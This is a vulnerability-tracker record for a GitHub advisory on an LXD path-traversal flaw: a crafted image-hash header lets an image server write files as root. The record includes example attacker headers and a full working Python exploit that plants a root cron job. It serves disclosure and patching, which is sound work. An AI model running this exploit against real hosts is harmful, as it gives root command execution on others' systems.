{"id":"GHSA-pjff-c2wc-f6jm","kind":"vulnerability","aliases":["GHSA-pjff-c2wc-f6jm"],"related":[],"title":"LXD has arbitrary file write on client due to trusted image hash","description":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x\n\n### Summary\n\nAn arbitrary file write exists in the Incus client when a malicious image\nserver returns a crafted `Incus-Image-Hash` header. This can lead to\narbitrary command execution as root on the server.\n\n\n### Details\n\n- `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias`\n and `Server`.\n- `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string.\n- `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`.\n- `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file.\n- `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated.\n- `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.\n\nA malicious image server returning something along the following will cause\nthe arbitrary file write.\n\n```\nIncus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce\nIncus-Image-URL: http://attacker/payload\n```\n\n\n### PoC\n\nThe script below creates a malicious image server and requests an Incus\nserver to fetch the image. File write occurs when the image is unpacked.\n\nThe following script was generated by an LLM.\n\n```\n#!/usr/bin/env python3\n\"\"\"Direct image URL hash path traversal to transient host cron write.\n\nFor `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts\nthe `Incus-Image-Hash` header as the expected fingerprint. The direct download\npath then creates `/var/lib/incus/images/<hash>` before validating that the hash\nis a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the\nimage directory.\n\nDefault mode is dry-run. With --execute-trigger this script starts a tiny HTTP\nserver, returns a traversal hash pointing at cron, streams the cron payload, and\nkeeps the response open so the daemon-side cleanup does not immediately remove\nthe file.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport http.client\nimport json\nimport shlex\nimport socket\nimport ssl\nimport sys\nimport threading\nimport time\nimport urllib.parse\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\nfrom typing import Any\n\n\nDEFAULT_SOCKET = \"/var/lib/incus/unix.socket\"\nDEFAULT_TRAVERSAL = \"../../../../etc/cron.d/incus-direct-image-url-rce\"\n\n\nclass UnixHTTPConnection(http.client.HTTPConnection):\n    def __init__(self, socket_path: str, timeout: int = 120):\n        super().__init__(\"incus\", timeout=timeout)\n        self.socket_path = socket_path\n\n    def connect(self) -> None:\n        sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n        sock.settimeout(self.timeout)\n        sock.connect(self.socket_path)\n        self.sock = sock\n\n\nclass RCEHTTPServer(ThreadingHTTPServer):\n    hash_path: str\n    advertise_url: str\n    payload: bytes\n    hold_seconds: int\n    payload_requested: threading.Event\n\n\nclass DirectImageHandler(BaseHTTPRequestHandler):\n    protocol_version = \"HTTP/1.1\"\n    server_version = \"direct-image-rce/1.0\"\n\n    def log_message(self, fmt: str, *args: Any) -> None:\n        print(f\"[http] {self.address_string()} - {fmt % args}\", flush=True)\n\n    def do_HEAD(self) -> None:\n        if self.path != \"/stage\":\n            self.send_error(404)\n            return\n\n        srv = self.server\n        assert isinstance(srv, RCEHTTPServer)\n        self.send_response(200)\n        self.send_header(\"Incus-Image-Hash\", srv.hash_path)\n        self.send_header(\"Incus-Image-URL\", srv.advertise_url.rstrip(\"/\") + \"/payload\")\n        self.send_header(\"Connection\", \"close\")\n        self.end_headers()\n\n    def do_GET(self) -> None:\n        if self.path != \"/payload\":\n            self.send_error(404)\n            return\n\n        srv = self.server\n        assert isinstance(srv, RCEHTTPServer)\n        srv.payload_requested.set()\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.send_header(\"Cache-Control\", \"no-store\")\n        self.end_headers()\n        self.wfile.write(srv.payload)\n        self.wfile.flush()\n        print(f\"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s\", flush=True)\n        time.sleep(srv.hold_seconds)\n        self.close_connection = True\n\n\ndef quote(value: str) -> str:\n    return urllib.parse.quote(value, safe=\"\")\n\n\ndef tls_context(args: argparse.Namespace) -> ssl.SSLContext:\n    if args.insecure:\n        ctx = ssl._create_unverified_context()\n    else:\n        ctx = ssl.create_default_context(cafile=args.cacert)\n\n    if args.cert:\n        ctx.load_cert_chain(args.cert, args.key)\n\n    return ctx\n\n\ndef connection(args: argparse.Namespace) -> http.client.HTTPConnection:\n    if args.url:\n        parsed = urllib.parse.urlparse(args.url)\n        if parsed.scheme != \"https\":\n            raise ValueError(\"--url must use https\")\n\n        return http.client.HTTPSConnection(\n            parsed.hostname,\n            parsed.port or 8443,\n            timeout=args.timeout,\n            context=tls_context(args),\n        )\n\n    return UnixHTTPConnection(args.socket, timeout=args.timeout)\n\n\ndef request_json(\n    args: argparse.Namespace,\n    method: str,\n    path: str,\n    obj: dict[str, Any] | None,\n    allow_error: bool = False,\n) -> tuple[int, dict[str, Any]]:\n    body = None if obj is None else json.dumps(obj).encode(\"utf-8\")\n    headers = {\"Host\": \"incus\"}\n    if body is not None:\n        headers[\"Content-Type\"] = \"application/json\"\n\n    conn = connection(args)\n    conn.request(method, path, body=body, headers=headers)\n    resp = conn.getresponse()\n    raw = resp.read()\n    conn.close()\n\n    try:\n        data = json.loads(raw) if raw else {}\n    except json.JSONDecodeError:\n        data = {\"raw\": raw.decode(\"utf-8\", \"replace\")}\n\n    if not allow_error and (resp.status >= 400 or data.get(\"type\") == \"error\"):\n        raise RuntimeError(f\"{method} {path} failed with HTTP {resp.status}: {data}\")\n\n    return resp.status, data\n\n\ndef images_path(project: str) -> str:\n    return \"/1.0/images?project=\" + quote(project)\n\n\ndef cron_payload(command: str) -> bytes:\n    return f\"* * * * * root /bin/sh -c {shlex.quote(command)}\\n\".encode(\"utf-8\")\n\n\ndef image_url_body(project_url: str, public: bool) -> dict[str, Any]:\n    return {\n        \"source\": {\n            \"type\": \"url\",\n            \"url\": project_url.rstrip(\"/\") + \"/stage\",\n        },\n        \"public\": public,\n    }\n\n\ndef start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer:\n    server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler)\n    server.hash_path = args.hash_path\n    server.advertise_url = args.advertise_url\n    server.payload = payload\n    server.hold_seconds = args.hold_seconds\n    server.payload_requested = threading.Event()\n\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n    return server\n\n\ndef main() -> int:\n    parser = argparse.ArgumentParser(description=\"Incus direct image URL hash traversal cron RCE PoC\")\n    parser.add_argument(\"--socket\", default=DEFAULT_SOCKET, help=\"Incus Unix socket\")\n    parser.add_argument(\"--url\", help=\"remote Incus URL, for example https://host.ctf:8443\")\n    parser.add_argument(\"--cert\", help=\"client certificate for remote Incus\")\n    parser.add_argument(\"--key\", help=\"client private key for remote Incus\")\n    parser.add_argument(\"--cacert\", help=\"CA certificate for remote Incus\")\n    parser.add_argument(\"--insecure\", action=\"store_true\", help=\"disable TLS verification\")\n    parser.add_argument(\"--timeout\", type=int, default=120, help=\"Incus request timeout\")\n    parser.add_argument(\"--project\", default=\"default\", help=\"project used for image import\")\n    parser.add_argument(\"--public\", action=\"store_true\", help=\"mark imported image public\")\n    parser.add_argument(\"--listen-host\", default=\"0.0.0.0\", help=\"HTTP listen address\")\n    parser.add_argument(\"--listen-port\", type=int, default=8088, help=\"HTTP listen port\")\n    parser.add_argument(\"--advertise-url\", default=\"http://127.0.0.1:8088\", help=\"URL reachable by the Incus daemon\")\n    parser.add_argument(\"--hash-path\", default=DEFAULT_TRAVERSAL, help=\"value returned in Incus-Image-Hash\")\n    parser.add_argument(\"--hold-seconds\", type=int, default=90, help=\"keep payload response open for this many seconds\")\n    parser.add_argument(\"--command\", default=\"id > /tmp/incus-direct-image-url-rce\", help=\"command cron should run\")\n    parser.add_argument(\"--execute-trigger\", action=\"store_true\", help=\"start server and trigger POST /1.0/images\")\n    parser.add_argument(\"--yes-i-understand-this-writes-host-file\", action=\"store_true\", help=\"required with --execute-trigger\")\n    args = parser.parse_args()\n\n    if bool(args.cert) != bool(args.key):\n        parser.error(\"--cert and --key must be supplied together\")\n    if args.execute_trigger and not args.yes_i_understand_this_writes_host_file:\n        parser.error(\"--execute-trigger requires --yes-i-understand-this-writes-host-file\")\n\n    payload = cron_payload(args.command)\n    trigger_body = image_url_body(args.advertise_url, args.public)\n\n    print(\"[*] exploit primitive: direct image URL unvalidated hash path host write\")\n    print(f\"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage\")\n    print(f\"[*] returned Incus-Image-Hash: {args.hash_path}\")\n    print(f\"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload\")\n    print(f\"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce\")\n    print(f\"[*] cron payload: {payload.decode().rstrip()}\")\n    print(f\"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}\")\n\n    if not args.execute_trigger:\n        print(\"[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test\")\n        return 0\n\n    server = start_server(args, payload)\n    print(f\"[*] HTTP server listening on {args.listen_host}:{args.listen_port}\")\n\n    status, data = request_json(args, \"POST\", images_path(args.project), trigger_body, allow_error=True)\n    print(f\"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}\")\n\n    if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)):\n        print(\"[*] daemon requested payload; cron file should exist until the held response is released\")\n    else:\n        print(\"[!] daemon did not request payload within the wait window\")\n\n    print(\"[*] leaving HTTP server active for the remaining hold window\")\n    time.sleep(max(0, args.hold_seconds - 30))\n    server.shutdown()\n    server.server_close()\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except BrokenPipeError:\n        raise SystemExit(1)\n    except Exception as exc:\n        print(f\"[-] {exc}\", file=sys.stderr)\n        raise SystemExit(1)\n```\n\n\n### Impact\n\nAn arbitrary file write on the client with root privileges; possibly leading\nto arbitrary command execution.","summary":"LXD trusts the Incus-Image-Hash header returned by a remote image server as the file name for a direct image download, so a path containing ../ lets the server write files anywhere the daemon can write. The sources say this can lead to arbitrary command execution as root, for example by planting a cron file.","severity":"critical","cvss":9.9,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/canonical/lxd","fixed":["0.0.0-20260630083100-c5184be310b1"],"affected":"< 0.0.0-20260630083100-c5184be310b1","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-20","go","linux","lxd","runtime","self-hosted"],"not_affected_if":["managed-hosting","no-url-image-import"],"how_to_check":"- Check the installed Go module version of `github.com/canonical/lxd` against the fixed pseudo-version listed in the advisory.\n- Look for LXD instances that import images with `source.type=url` from remote servers.","fix":"- `github.com/canonical/lxd` (go module): move to `0.0.0-20260630083100-c5184be310b1` or later","status":"open","published_at":"2026-11-06T19:36:55+00:00","first_seen_at":"2026-11-06T19:38:16+00:00","triaged_at":"2026-11-06T19:39:31+00:00","updated_at":"2026-11-06T19:39:31+00:00","category":"runtime","confidence":0.7,"triage":{"at":"2026-11-06T19:39:31Z","model":"claude-haiku-5-5","output":{"fix":"- `github.com/canonical/lxd` (go module): move to `0.0.0-20260630083100-c5184be310b1` or later","reach":"network","title":"LXD: crafted image hash header writes files outside the image directory","impact":"high","summary":"LXD trusts the Incus-Image-Hash header returned by a remote image server as the file name for a direct image download, so a path containing ../ lets the server write files anywhere the daemon can write. The sources say this can lead to arbitrary command execution as root, for example by planting a cron file.","audience":"developers","category":"runtime","nicknames":[],"who_cares":["lxd","go","self-hosted","linux"],"confidence":0.7,"fix_status":"available","needs_auth":"unknown","worst_case":"Attacker writes root-owned files, possibly running commands as root.","analyst_note":"Confirm the exact affected code path and whether the daemon's URL image import is reachable by unauthenticated callers, using the linked advisory at github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x.","how_to_check":"- Check the installed Go module version of `github.com/canonical/lxd` against the fixed pseudo-version listed in the advisory.\n- Look for LXD instances that import images with `source.type=url` from remote servers.","plain_action":"","needs_analyst":true,"not_affected_if":["no-url-image-import","managed-hosting"],"who_is_affected":"The advisory describes the Incus client code path where source.type=url downloads trust the Incus-Image-Hash header from a user-supplied server; the sources do not state whether the affected LXD code is exposed to unauthenticated network callers. Teams that run LXD and let users import images from arbitrary URLs are the ones to look at.","user_interaction":"unknown","needs_special_setup":"unknown","severity_if_unknown":"critical"},"cost_usd":0.001188,"input_tokens":8643,"output_tokens":648,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-20':27B '-256':210C,353C '-335':178C '-344':223C '-523':186C '-532':206C '-684':134C '-92':166C '/../../../etc/cron.d/incus-direct-image-url-rce':261C,448C '/1.0':516C '/canonical/lxd':25A '/lxc/incus/security/advisories/ghsa-f6m5-xw2g-xc4x':95C '/payload':571C,585C '/stage':542C '/usr/bin/env':301C '/var/lib/incus/images':343C '/var/lib/incus/unix.socket':445C '120':460C '200':555C '333':177C '337':222C '4':588C '404':545C '469':185C '528':205C '611':133C '91':165C 'advertis':493C 'alia':161C,174C 'along':248C 'alreadi':216C 'annot':413C 'anywher':67B 'arbitrari':3A,79B,98C,123C,239C,254C 'arbitrary-writ':238C 'arg':523C,532C 'argpars':415C 'assert':549C 'attack':322C 'attacker-control':321C 'attacker/payload':266C 'basehttprequesthandl':437C,506C 'branch':191C 'build':179C 'byte':357C,497C 'c2wc':16A,21A 'caller':172C 'caller-control':171C 'caus':252C 'class':449C,487C,504C 'cleanup':224C,403C 'client':7A,105C 'close':575C 'cmd/incusd/daemon_images.go':164C,176C,184C,204C,221C 'cmd/incusd/images.go':132C 'command':80B,124C 'connect':471C,574C 'contain':61B,360C 'control':173C,323C 'copi':197C,229C 'craft':113C 'creat':218C,271C,342C 'cron':89B,312C,388C,391C 'cwe':26B 'daemon':69B,401C 'daemon-sid':400C 'def':452C,470C,517C,535C,578C 'default':167C,365C,443C,446C 'destdir':182C 'destnam':180C,193C 'detail':131C 'direct':55B,189C,303C,338C,513C 'direct-image-rc':512C 'directimagehandl':505C 'directori':364C 'download':57B,339C,356C 'dri':369C 'dry-run':368C 'due':8A 'enter':187C 'error':544C,587C 'escap':361C 'exampl':85B 'execut':81B,125C,373C 'execute-trigg':372C 'exist':101C 'expect':335C 'extend':236C 'f':527C 'f6jm':17A,22A 'fetch':282C 'file':4A,51B,66B,90B,99C,203C,214C,255C,285C,409C 'filepath.join':181C 'fingerprint':336C 'first':318C 'flush':533C 'fmt':521C,531C 'follow':250C,294C 'fp':168C,183C 'futur':411C 'generat':297C 'get':580C 'ghsa':14A,19A 'ghsa-pjff-c2wc-f6jm':13A,18A 'github.com':24A,94C 'github.com/canonical/lxd':23A 'github.com/lxc/incus/security/advisories/ghsa-f6m5-xw2g-xc4x':93C 'go':28B 'handl':135C 'hash':12A,41B,117C,149C,260C,306C,331C,348C,359C,385C,490C,561C 'head':139C,319C,537C 'header':42B,118C,332C,557C,565C,573C,577C 'held':234C 'hold':498C 'host':34B,311C 'http':199C,380C,528C 'http.client':417C 'http.client.httpconnection':451C 'http.server':435C 'http/1.1':509C 'imag':11A,40B,47B,56B,109C,116C,148C,153C,244C,259C,264C,274C,284C,290C,304C,330C,363C,514C,560C,568C 'imagedownload':159C 'immedi':406C 'import':412C,414C,416C,418C,420C,422C,424C,426C,428C,430C,432C,436C,441C 'incus':39B,104C,115C,147C,152C,258C,263C,279C,317C,329C,463C,559C,567C 'incus-image-hash':38B,114C,146C,257C,328C,558C 'incus-image-url':151C,262C,566C 'init':453C,462C 'int':459C,500C 'isinst':550C 'json':419C 'keep':394C 'lead':77B,121C 'let':62B 'linux':29B 'llm':300C 'log':518C 'lxd':1A,30B,35B 'malici':108C,243C,273C 'messag':519C 'mode':366C 'name':52B 'none':473C,525C,539C,582C 'occur':287C 'open':192C,397C 'os.create':195C 'pass':156C 'path':60B,307C,340C,456C,467C,469C,484C,491C,563C 'payload':392C,496C,501C 'pjff':15A,20A 'plant':87B 'poc':267C 'point':386C 'popul':220C 'print':526C 'protocol':190C,507C 'python3':302C 'rce':515C 'rcehttpserv':488C,552C 'read':145C 'real':351C 'remot':46B 'remov':407C 'report':91C 'request':277C,502C 'respons':200C,235C,396C,554C 'return':43B,111C,230C,246C,382C,546C 'root':83B,127C 'run':226C,370C 'runtim':31B 'say':74B 'script':269C,295C,376C 'second':499C 'self':33B,454C,472C,520C,538C,581C 'self-host':32B 'self.address':529C 'self.end':576C 'self.path':541C,584C 'self.send':543C,553C,556C,564C,572C,586C 'self.server':548C 'self.sock':485C 'self.socket':466C,483C 'self.timeout':481C 'server':48B,64B,110C,130C,163C,245C,275C,280C,381C,510C 'sha':209C,352C 'shlex':421C 'side':402C 'slow':232C 'sock':474C,486C 'sock.connect':482C 'sock.settimeout':480C 'socket':423C,444C,455C,468C 'socket.af':476C 'socket.sock':478C 'socket.socket':475C 'someth':247C 'sourc':73B 'source.type':136C,315C 'srv':547C,551C 'srv.advertise_url.rstrip':570C 'srv.hash':562C 'ssl':425C 'start':377C 'str':457C,492C,495C,522C 'stream':389C,479C 'string':175C,530C 'summari':96C 'super':461C 'suppli':143C 'sys':427C 'thread':429C 'threading.event':503C 'threadinghttpserv':438C,489C 'time':431C 'timeout':458C,464C,465C 'tini':379C 'transient':310C 'travers':308C,384C,447C 'trigger':374C 'true':534C 'trust':10A,36B,326C 'type':440C 'unix':477C 'unixhttpconnect':450C 'unpack':292C 'url':137C,144C,154C,265C,305C,316C,324C,494C,569C 'urllib.parse':433C 'user':142C 'user-suppli':141C 'valid':207C,345C 'version':508C,511C 'window':241C 'write':5A,65B,71B,100C,240C,256C,286C,313C","nicknames":[],"mitigations":[],"who_affected":"The advisory describes the Incus client code path where source.type=url downloads trust the Incus-Image-Hash header from a user-supplied server; the sources do not state whether the affected LXD code is exposed to unauthenticated network callers. Teams that run LXD and let users import images from arbitrary URLs are the ones to look at.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["githubcomcanonicallxd"],"ptokens":["canonical","com","github","lxd"],"labels":["critical","cwe20","go","linux","lxd","runtime","selfhosted"],"campaign_type":null,"search_a":"'/canonical/lxd':25A 'arbitrari':3A 'c2wc':16A,21A 'client':7A 'due':8A 'f6jm':17A,22A 'file':4A 'ghsa':14A,19A 'ghsa-pjff-c2wc-f6jm':13A,18A 'github.com':24A 'github.com/canonical/lxd':23A 'hash':12A 'imag':11A 'lxd':1A 'pjff':15A,20A 'trust':10A 'write':5A","search_b":"'-20':27B 'anywher':67B 'arbitrari':79B 'command':80B 'contain':61B 'cron':89B 'cwe':26B 'daemon':69B 'direct':55B 'download':57B 'exampl':85B 'execut':81B 'file':51B,66B,90B 'go':28B 'hash':41B 'header':42B 'host':34B 'imag':40B,47B,56B 'incus':39B 'incus-image-hash':38B 'lead':77B 'let':62B 'linux':29B 'lxd':30B,35B 'name':52B 'path':60B 'plant':87B 'remot':46B 'return':43B 'root':83B 'runtim':31B 'say':74B 'self':33B 'self-host':32B 'server':48B,64B 'sourc':73B 'trust':36B 'write':65B,71B","search_c":"'-256':210C,353C '-335':178C '-344':223C '-523':186C '-532':206C '-684':134C '-92':166C '/../../../etc/cron.d/incus-direct-image-url-rce':261C,448C '/1.0':516C '/lxc/incus/security/advisories/ghsa-f6m5-xw2g-xc4x':95C '/payload':571C,585C '/stage':542C '/usr/bin/env':301C '/var/lib/incus/images':343C '/var/lib/incus/unix.socket':445C '120':460C '200':555C '333':177C '337':222C '4':588C '404':545C '469':185C '528':205C '611':133C '91':165C 'advertis':493C 'alia':161C,174C 'along':248C 'alreadi':216C 'annot':413C 'arbitrari':98C,123C,239C,254C 'arbitrary-writ':238C 'arg':523C,532C 'argpars':415C 'assert':549C 'attack':322C 'attacker-control':321C 'attacker/payload':266C 'basehttprequesthandl':437C,506C 'branch':191C 'build':179C 'byte':357C,497C 'caller':172C 'caller-control':171C 'caus':252C 'class':449C,487C,504C 'cleanup':224C,403C 'client':105C 'close':575C 'cmd/incusd/daemon_images.go':164C,176C,184C,204C,221C 'cmd/incusd/images.go':132C 'command':124C 'connect':471C,574C 'contain':360C 'control':173C,323C 'copi':197C,229C 'craft':113C 'creat':218C,271C,342C 'cron':312C,388C,391C 'daemon':401C 'daemon-sid':400C 'def':452C,470C,517C,535C,578C 'default':167C,365C,443C,446C 'destdir':182C 'destnam':180C,193C 'detail':131C 'direct':189C,303C,338C,513C 'direct-image-rc':512C 'directimagehandl':505C 'directori':364C 'download':339C,356C 'dri':369C 'dry-run':368C 'enter':187C 'error':544C,587C 'escap':361C 'execut':125C,373C 'execute-trigg':372C 'exist':101C 'expect':335C 'extend':236C 'f':527C 'fetch':282C 'file':99C,203C,214C,255C,285C,409C 'filepath.join':181C 'fingerprint':336C 'first':318C 'flush':533C 'fmt':521C,531C 'follow':250C,294C 'fp':168C,183C 'futur':411C 'generat':297C 'get':580C 'github.com':94C 'github.com/lxc/incus/security/advisories/ghsa-f6m5-xw2g-xc4x':93C 'handl':135C 'hash':117C,149C,260C,306C,331C,348C,359C,385C,490C,561C 'head':139C,319C,537C 'header':118C,332C,557C,565C,573C,577C 'held':234C 'hold':498C 'host':311C 'http':199C,380C,528C 'http.client':417C 'http.client.httpconnection':451C 'http.server':435C 'http/1.1':509C 'imag':109C,116C,148C,153C,244C,259C,264C,274C,284C,290C,304C,330C,363C,514C,560C,568C 'imagedownload':159C 'immedi':406C 'import':412C,414C,416C,418C,420C,422C,424C,426C,428C,430C,432C,436C,441C 'incus':104C,115C,147C,152C,258C,263C,279C,317C,329C,463C,559C,567C 'incus-image-hash':114C,146C,257C,328C,558C 'incus-image-url':151C,262C,566C 'init':453C,462C 'int':459C,500C 'isinst':550C 'json':419C 'keep':394C 'lead':121C 'llm':300C 'log':518C 'malici':108C,243C,273C 'messag':519C 'mode':366C 'none':473C,525C,539C,582C 'occur':287C 'open':192C,397C 'os.create':195C 'pass':156C 'path':307C,340C,456C,467C,469C,484C,491C,563C 'payload':392C,496C,501C 'poc':267C 'point':386C 'popul':220C 'print':526C 'protocol':190C,507C 'python3':302C 'rce':515C 'rcehttpserv':488C,552C 'read':145C 'real':351C 'remov':407C 'report':91C 'request':277C,502C 'respons':200C,235C,396C,554C 'return':111C,230C,246C,382C,546C 'root':127C 'run':226C,370C 'script':269C,295C,376C 'second':499C 'self':454C,472C,520C,538C,581C 'self.address':529C 'self.end':576C 'self.path':541C,584C 'self.send':543C,553C,556C,564C,572C,586C 'self.server':548C 'self.sock':485C 'self.socket':466C,483C 'self.timeout':481C 'server':110C,130C,163C,245C,275C,280C,381C,510C 'sha':209C,352C 'shlex':421C 'side':402C 'slow':232C 'sock':474C,486C 'sock.connect':482C 'sock.settimeout':480C 'socket':423C,444C,455C,468C 'socket.af':476C 'socket.sock':478C 'socket.socket':475C 'someth':247C 'source.type':136C,315C 'srv':547C,551C 'srv.advertise_url.rstrip':570C 'srv.hash':562C 'ssl':425C 'start':377C 'str':457C,492C,495C,522C 'stream':389C,479C 'string':175C,530C 'summari':96C 'super':461C 'suppli':143C 'sys':427C 'thread':429C 'threading.event':503C 'threadinghttpserv':438C,489C 'time':431C 'timeout':458C,464C,465C 'tini':379C 'transient':310C 'travers':308C,384C,447C 'trigger':374C 'true':534C 'trust':326C 'type':440C 'unix':477C 'unixhttpconnect':450C 'unpack':292C 'url':137C,144C,154C,265C,305C,316C,324C,494C,569C 'urllib.parse':433C 'user':142C 'user-suppli':141C 'valid':207C,345C 'version':508C,511C 'window':241C 'write':100C,240C,256C,286C,313C","first_public_at":"2026-11-06T19:36:55+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-pjff-c2wc-f6jm","url":"https://github.com/advisories/GHSA-pjff-c2wc-f6jm","severity":"critical","published_at":"2026-11-06T19:36:55+00:00","modified_at":"2026-11-06T19:36:57+00:00","first_seen_at":"2026-11-06T19:38:16+00:00","fetched_at":"2026-11-06T19:38:16+00:00","note":null}],"documents":[{"id":89131,"url":"https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-pjff-c2wc-f6jm","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":89132,"url":"https://github.com/canonical/lxd/security/advisories/GHSA-pjff-c2wc-f6jm","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}